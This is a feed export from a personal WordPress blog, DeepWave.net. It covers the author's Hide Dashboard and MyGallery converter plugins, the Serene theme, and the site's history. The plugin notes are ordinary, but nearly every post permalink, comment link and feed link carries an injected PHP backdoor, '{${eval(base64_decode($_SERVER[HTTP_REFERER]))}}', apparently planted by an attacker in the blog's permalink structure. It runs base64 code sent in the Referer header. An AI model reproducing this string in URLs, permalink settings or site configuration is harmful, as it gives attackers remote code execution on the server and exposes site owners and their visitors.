DeepWave » Plugin http://www.deepwave.net On the Internet since 1993 Mon, 30 Aug 2010 15:12:06 +0000 en Updated Hide Dashboard Plugin and Serene Theme http://www.deepwave.net/2008/09/15/updated_hide_dashboard_and_serene/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.deepwave.net/2008/09/15/updated_hide_dashboard_and_serene/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 15 Sep 2008 08:52:58 +0000 Patrick http://www.deepwave.net/?p=949 Well, after fixing some bugs in , a new version has been put up. Hopefully, this version will now work the way you think it will work vis-a-vis the options :) Also, Serene has been updated to keep in line with ’s Meta Widget changes.

Hide Dashboard Plugin (version 1.3)

Serene Theme (version 1.1)

Enjoy!

]]> http://www.deepwave.net/2008/09/15/updated_hide_dashboard_and_serene/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Plugin Updates http://www.deepwave.net/2008/08/24/plugin_updates/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.deepwave.net/2008/08/24/plugin_updates/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sat, 23 Aug 2008 16:44:55 +0000 Patrick http://www.deepwave.net/?p=906 I’ve finally found some time to update my two plugins - and MyGallery to Converter. In short, the following changes were made:

Hide Dashboard 1.2

  • Added option to block access to the Dashboard via the URL Location bar
  • Added option to allow authors and editors to view the Dashboard and other admin section pages

MyGallery to WordPress Converter 1.1

  • Bugfix to import the description and caption (alttext) fields from MyGallery into as well.
  • Added a variable to allow users to change the path of their MyGallery installation if it is different from the default directory

Hopefully, these changes will make the plugins more useful.

]]> http://www.deepwave.net/2008/08/24/plugin_updates/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Another release, another upgrade, another plugin http://www.deepwave.net/2008/07/29/another_release_another_upgrade_another_plugin/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.deepwave.net/2008/07/29/another_release_another_upgrade_another_plugin/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 29 Jul 2008 15:03:28 +0000 Patrick http://www.deepwave.net/?p=887 As a follow up to my rant in a previous posting, I’ve actually done something about it and put it on the net. Maybe someone can find it useful. Anyhow, I’ve updated my WordPress, and made various changes and updates overall. Hopefully, this current set of software will last, oh, at least the next ten minutes, before being considered out of date.

]]> http://www.deepwave.net/2008/07/29/another_release_another_upgrade_another_plugin/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ MyGallery to WordPress Converter http://www.deepwave.net/articles/mygallery_to_wordpress_converter/ http://www.deepwave.net/articles/mygallery_to_wordpress_converter/#comments Tue, 29 Jul 2008 14:36:38 +0000 Patrick http://www.deepwave.net/?page_id=882 Recently, I ranted about how did not give me a clear way to from external plugins like MyGallery to new features that have been absorbed into “core”. Finally, I decided to do something about it, and thankfully, everything is open sourced, and so I actually could do something about it. And now that I have, maybe I should make it available publicly as well. Now, be forewarned, this is not a which I intend to maintain very much, since I only need to use it once myself. But it could be useful to others.

In short, this helps to galleries that use the MyGallery Plugin by Thomas Boley to use the attachments system and built-in shortcode that comes with 2.5 or newer.

If you are:

  • unclear about full backups/restores of WP Tables and All Files,
  • or are not really comfortable with thinking about mucking around with php or sql tables,
  • or are just not sure what to do and what this is for,
  • or have no idea what I’m talking about . . .

then please, do not use this , because you may lose valuable data! This is a for advanced and experienced users.

This will attempt to MyGallery installations and related shortcodes to the new attachments and shortcode system. The actual image files used by MyGallery are kept in the same place and merely added to . Please note that not all MyGallery shortcodes are converted, so some manual editing is still required. Also, the conversion is only performed on published posts - unpublished drafts, revisions, etc are ignored.

This will directly change tables, post data, and files in MyGallery. A full backup, ready to restore, is required - better still if you can try it first with on a “mirror” of your blog before actually doing it on the live one.

After the conversion is complete, you will probably still have to go through your blog posts to verify if the layouts are correct. Some (many?) page layouts may need to be edited and changed because there are no exact matches between the layout options in MyGallery shortcodes and . So, after the conversion is complete, please print or save the results page as a reference of the changes that were made so that you know which pages/posts to check/edit.

Also, due to the fact that attachments make use of parent/inherited posts as a way to associate posts with the attachments, the conversion process will associate attachments to the first matching published post. Therefore, having the same MyGallery on multiple pages will probably not properly. Watch out for “(Previously Added) Parent Post ID:” in the results to indicate that an attachment has been used more in more than one posts.

Steps to take:

  1. your blog to 2.6
  2. If you have to, disable your MyGallery , but do not delete it or any of the files/tables, etc
  3. Install and activate this
  4. Run this and follow its instructions, the conversion process can take a long time to work, so please be patient!
  5. Print/save the results page as a reference of the changes that were made
  6. Once the conversion is complete, check your blog to make sure it is working properly. If things go bad, restore from backup and review what went wrong before trying this again
  7. Check/Edit all pages for layout/correct conversion etc
  8. Disable/Delete this
  9. Disable/Delete MyGallery
  10. You can remove the “mygallery”, “mygprelation” and “mypictures” tables from your Database
  11. You can remove the “tumbs” folder from each of your MyGallery folders in the “myfotos” folder, but do not remove the “myfotos” folder or any of the folders inside it, they have been added to the attachments system

All changes made by this are irreversible - use this at your own risk!

Latest Update (2008-08-23): Made a bugfix to import the description and caption (alttext) fields from MyGallery into as well. Also, added a variable to allow users to change the path of their MyGallery installation from the default wp-content/myfotos/ directory. You will need to edit the php file to change this variable (near the top).

Download Sample Output (PDF File)

Download MyGallery 2 WordPress Converter Plugin 1.1

]]> http://www.deepwave.net/articles/mygallery_to_wordpress_converter/feed/ Hide Dashboard Plugin Updated http://www.deepwave.net/2007/11/10/hide_dashboard_plugin_updated/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.deepwave.net/2007/11/10/hide_dashboard_plugin_updated/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sat, 10 Nov 2007 15:51:07 +0000 Patrick http://www.deepwave.net/blog/2007/11/10/hide_dashboard_plugin_updated/ One of the most common comments about the was that while it “hid” the dashboard, it did not change the default view of subscribers when they log in (which is still the Dashboard). The new updated gives you an option to use its own Meta section as a widget (instead of the default), and thus bypassing the Dashboard completely for subscribers. This makes it more seamless and cleaner for subscribers.

Hide Dashboard Plugin

]]> http://www.deepwave.net/2007/11/10/hide_dashboard_plugin_updated/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ WordPress Hide Dashboard 1.0 Plugin Posted http://www.deepwave.net/2007/01/05/wordpress_hide_dashboard_10_plugin_posted/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.deepwave.net/2007/01/05/wordpress_hide_dashboard_10_plugin_posted/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 05 Jan 2007 08:32:44 +0000 Patrick http://www.deepwave.net/blog/2007/01/05/wordpress_hide_dashboard_10_plugin_posted/ For those of you who have been looking for a way to hide the dashboard in from ordinary users, I’ve just put up a that does exactly that and is used right here at DeepWave. Enjoy!

]]> http://www.deepwave.net/2007/01/05/wordpress_hide_dashboard_10_plugin_posted/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ WordPress Hide Dashboard Plugin http://www.deepwave.net/articles/hide_dashboard/ http://www.deepwave.net/articles/hide_dashboard/#comments Fri, 05 Jan 2007 08:12:37 +0000 Patrick http://www.deepwave.net/articles/hide_dashboard/ In the course of setting up on DeepWave, I wanted a way where subscribers and editors/writers would not need to see the Dashboard in the Admin Control Panel. I noticed a number of people had suggested various hacks and changes in code to make this happen. But as we all know, we shouldn’t hack code because it would be a pain to . So I decided to take the various methods outlined on the net and make a small that would do the trick. I therefore present the !

Please bear with me as PHP is not one of my regular programming languages, and this is my first after all, so if there are any bugs or problems, do let me know. Aside from that, enjoy!

To see this in action, just register and login to this site. Alternatively, here are some screenshots:

These are images showing the effect of the for ordinary Subscribers. On the left, is deactivated, while on the right, it is activated. Below is the same for an Editor:

Latest News (2007-11-10): I’ve just updated to version 1.1. The big change here is that I’ve added a widget for widget-enabled sidebars to use ’s Meta instead of the default Meta section. This is done because the default Meta Login will direct subscribers and admins to the Dashboard page - which we’re trying to avoid (for subscribers anyway) in the first place. So now, when people login using ’s Meta widget, it will take them back to the web page, and they can click on “My Profile” to see their own profile. I think this makes more sense for the default case. To see this sort of thing in action, try DeepWave.Net’s register and login functions above. Alternatively, if you do not have a widget enabled , then try using a like Serene which has ’s login functions built right in. Additionally, this has been tested and is working fine on WP 2.3.1..

Edit (2008-07-28): This works just fine with 2.6. But most users keep forgetting that they must use the special Meta Widget for logins. Just make sure you use a widget capable and use ’s own Meta widget instead of the default one.

Update (2008-08-23): Two new options have been added to . The first, is the option to block access to the Dashboard via the URL Location bar (needs PHP Output Buffering to be enabled), and the second is the option to allow authors and editors (user level 2 and above) to view the Dashboard and other admin section pages. To enable output buffering, you can edit your php.ini file and set “output_buffering = On”, or edit .htaccess and add the line “php_flag output_buffering On”

Update (2008-09-15): Well, there has been a number of changes in the code inside the in order to properly handle the situations with the two options introduced in version 1.2. If things did not seem right for you, just upload version 1.3 and give it a try. I think this time the logic should be correct, and you should see the correct results when you set the options for . Also, by popular request, the Meta Widget is now more editor/author friendly, sending you to the “Manage Posts” page instead of your profile. Administrators go to the Dashboard, and everyone else goes to their Profile page (which was the default previously).

Download Hide Dashboard Plugin 1.3

]]> http://www.deepwave.net/articles/hide_dashboard/feed/ Email Notification of Posts and Comments http://www.deepwave.net/2007/01/04/email_notification_of_posts_and_comments/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.deepwave.net/2007/01/04/email_notification_of_posts_and_comments/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 04 Jan 2007 06:38:35 +0000 Patrick http://www.deepwave.net/blog/2007/01/04/email_notification_of_posts_and_comments/ I’ve just activated the Notify Members .. It gives users an option in their profile page to receive an email notification whenever a post or comment is added to the page.

To use it, just register on this site, and select a notification level in your profile. Let me know if it does or doesn’t work :)

]]> http://www.deepwave.net/2007/01/04/email_notification_of_posts_and_comments/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Articles and References http://www.deepwave.net/articles/ http://www.deepwave.net/articles/#comments Wed, 13 Dec 2006 17:10:14 +0000 Patrick http://pickett.asmallorange.com/~deepwave/articles/ Do also check out Some Light Reading for fiction work, or the Press and Events section for publications, press, seminars and events.

Old, Outdated or just Archived documents:

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(____ \_____ / (O O) \ _____/ ____)
(____ `—–( ) )—–’ ____)
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(______/ `-.____.-’ \______)

BIG HUG

HTML References

Javascript References

Net Information - contains the following references:

  • Internet Access Information (Internet Service Providers) - CICNet, FreeNets, Merit - MichNet, MSEN, Public Dial-up Internet Access List
  • Mailing Lists - Anonymous Mail Server, ASPIRE, Berita-L (SEA News), Gateway 2000 Computers, Novell Netware, SLink (Singapore/ASPIRE), Windows For Workgroups, WinNews Newsletter
  • Other Information - SANS’s Heuristic Analysis system for Defensive Online Warfare, Computer Abbreviations, Escape Codes, Graduate School Email Addresses, Computer Companies’ Phone Support
]]> http://www.deepwave.net/articles/feed/ About DeepWave http://www.deepwave.net/about/ http://www.deepwave.net/about/#comments Tue, 12 Dec 2006 12:29:13 +0000 Patrick DeepWave.Net started out as a personal web page way back in 1993. It was hosted on my university’s Sun and NeXT servers. During those days, NCSA’s Mosaic was the sole premier web browser. It was plain as web pages go, but later, there was an experiment called WIF - WebInterFace. WIF was designed to build an application entirely based on a web page and using Javascript to provide the necessary user interaction. Unfortunately, WIF had some serious bugs in it with Javascript on Netscape 2.x and Macintosh Netscape.

In 1997, the entire site was re-released as the Andromeda Express and was well supported in Netscape 4.x. In July 1998, the Andromeda express was re-released as version 2.1 at its new home at DeepWave.Net.

Eventually, with a Perl-based site management tool called the Web Pre-Processor, DeepWave.Net was re-released yet again as version 3.0 in December 1999, with some significant changes in the design of its user interface.

At the end of 2006, a long overdue makeover for DeepWave.Net was finally implemented. This involved a complete switch to using an excellent Blogging/CMS tool called .

Welcome to Version 4.1 of DeepWave.Net!

One must always give credit where credit is due, and so, after maintaining raw HTML pages with text editors, and later with Perl, DeepWave.Net now uses a whole bunch of software and tools created by other people. So, here’s the list of major items used at DeepWave.Net:

WordPress
This is the core CMS / Blogging system I use. It is easy to and maintain
and it looks pretty good too.

Serene Theme
I use my own Serene for the site.

Cleaner Gallery and Lightbox 2
Of course we want our pictures to look great right?

Email Obfuscator
See also news://alt.spammer.die.die.die

Feeds Widget
Easy to use RSS Feeds Widget.

NRS Folding Pages Widget
Shouldn’t this be included by default?

Google Analyticator and Google XML Sitemaps Generator
I am Google-d, Therefore I am…

Hide Dashboard
A small I wrote to simply Hide the Dashboard from the Admin Menu
for anyone logging in who is not an Admin.

Search Everything
Why this is not the default in , I have no idea.

Simple Tags
Great add-on, for a great feature.

Underscore Permalinks
Because underscores are cooler than dashes?

UrlEncoded Permalinks
Just in case…

WP Spam-Free
More Anti-Spam, one can never have enough of this stuff.

WP AJAX Edit Comments
For the really nice comment F/X :)

WP Contact Form III
Short, sweet, to-the-point contact form - what we all need

And of course, the default Akismet that comes with .

DeepWave.Net is hosted at:
A Small Orange

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